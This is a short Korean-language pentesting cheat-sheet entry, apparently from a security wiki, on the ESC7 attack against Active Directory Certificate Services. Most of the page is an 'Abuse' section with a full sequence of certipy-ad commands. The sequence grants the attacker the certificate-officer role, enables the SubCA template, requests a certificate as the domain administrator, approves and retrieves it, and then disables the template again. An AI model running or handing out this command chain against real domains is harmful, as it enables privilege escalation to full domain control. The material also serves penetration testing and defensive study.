ESC7

ESC7은 CA 서버 혹은 서비스 자체에 대해 높은 권한을 가진 계정을 탈취했을 때, 승인 대기 목록에 있는 인증서 요청을 직접 관리함에 따라 도메인 관리자 인증서를 획득할 수 있는 공격입니다.

SubCA 템플릿은 CA 내장 템플릿이지만 기본적으로 활성화된 상태는 아닙니다. 이 템플릿은 다른 사용자를 대신하여 인증서를 요청할 수 있는 Supply in the request 속성이 활성화 되어 있기 때문에 해당 템플릿을 활성화한 뒤 악용하는 것이 일반적 시나리오입니다.

Abuse

UNIX
# 취약한 템플릿 열거
certipy-ad find -u '<username>' -p '<password>' -dc-ip '<dc-ip>' -vulnerable -stdout -enabled

# 악용 계정이 Issue and Manage Certificates 권한이 없는 경우 할당
certipy-ad ca -u '<username@domain>' -p '<password>' -dc-ip '<dc-ip>' -target '<ca-fqdn>' -ca '<ca-name>' -ns '<dc-ip>' -add-officer '<username>'

# SubCA 템플릿 활성화
certipy-ad ca -u '<username@domain>' -p '<password>' -ns '<dc-ip>' -target '<ca-fqdn>' -ca '<ca-name>' -enable-template 'SubCA'

# 템플릿을 통한 인증서 발급 요청
certipy-ad req -u '<username@domain>' -p '<password>' -dc-ip '<dc-ip>' -target '<ca-fqdn>' -ca '<ca-name>' -template 'SubCA' -upn '<administrator@domain>' -sid '<sid>'

# 승인 대기중인 인증서 발급 요청 허용
certipy-ad ca -u '<username@domain>' -p '<password>' -ns '<dc-ip>' -target '<ca-fqdn>' -ca '<ca-name>' -issue-request '<issue>'

# 인증서 발행
certipy-ad req -u '<username@domain>' -p '<password>' -dc-ip '<dc-ip>' -target '<ca-fqdn>' -ca '<ca-name>' -retrieve '<issue>'

# SubCA 템플릿 비활성화
certipy-ad ca -u '<username@domain>' -p '<password>' -dc-ip '<dc-ip>' -target '<ca-fqdn>' -ca '<ca-name>' -disable-template SubCA

References

Last updated